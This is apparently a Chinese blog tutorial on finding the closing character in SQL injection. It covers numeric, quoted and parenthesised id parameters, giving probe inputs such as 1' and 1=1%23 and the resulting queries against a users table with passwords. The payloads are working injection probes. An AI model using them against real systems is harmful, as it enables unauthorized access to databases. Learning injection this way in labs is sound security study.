求闭合字符

 

 

数字型
select id, username,password from users where id = $id limit 0,1;
id输入:3%23
select id, username,password from users where id = 3%23 limit 0,1;

试探方法:
id输入:1'
select id, username,password from users where id = 1' limit 0,1; 语法错误,报错
id输入:1 and 1 =1%23
select id, username,password from users where id = 1 and 1 =1%23 limit 0,1;语法正确,查得出记录
id输入:1 and 1 =2%23
select id, username,password from users where id = 1 and 1 =2%23 limit 0,1; 语法正确,但查不出记录


单引号
select id, username,password from users where id = '$id' limit 0,1;
id输入:3'%23
select id, username,password from users where id = '3'%23' limit 0,1;
试探方法:
id输入:1'
select id, username,password from users where id = '1'' limit 0,1;  语法错误,报错
id输入:1' and 1=1%23
select id, username,password from users where id = '1' and 1=1%23' limit 0,1;语法正确,查得出记录
id输入:1' and 1=2%23
select id, username,password from users where id = '1' and 1=2%23' limit 0,1;语法正确,但查不出记录


双引号
select id, username,password from users where id = "$id" limit 0,1;
id输入:3"%23
select id, username,password from users where id = "3"%23" limit 0,1;

括号
select id, username,password from users where id in ($id);
id输入:3)%23
select id, username,password from users where id in (3)%23);
id输入:1,2,3)%23
select id, username,password from users where id in (1,2,3)%23);

括号加单引号
select id, username,password from users where id in ('$id');
id输入:3')%23
select id, username,password from users where id in ('3')%23');

试探方法:
id输入:1'
select id, username,password from users where id in ('1''); 语法错误,报错
id输入:1') and 1=1%23 
select id, username,password from users where id in ('1') and 1=1%23'); 语法正确,查得出记录
id输入:1') and 1=2%23
select id, username,password from users where id in ('1') and 1=2%23'); 语法正确,但查不出记录


括号加双引号
select id, username,password from users where id in ("$id");
id输入:3")%23
select id, username,password from users where id in ("3")%23");
试探方法:
id输入:1'
select id, username,password from users where id in ("1'"); 语法错误,报错
id输入:1") and 1=1%23 
select id, username,password from users where id in ("1") and 1=1%23"); 语法正确,查得出记录
id输入:1") and 1=2%23 
select id, username,password from users where id in ("1") and 1=2%23"); 语法正确,但查不出记录
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值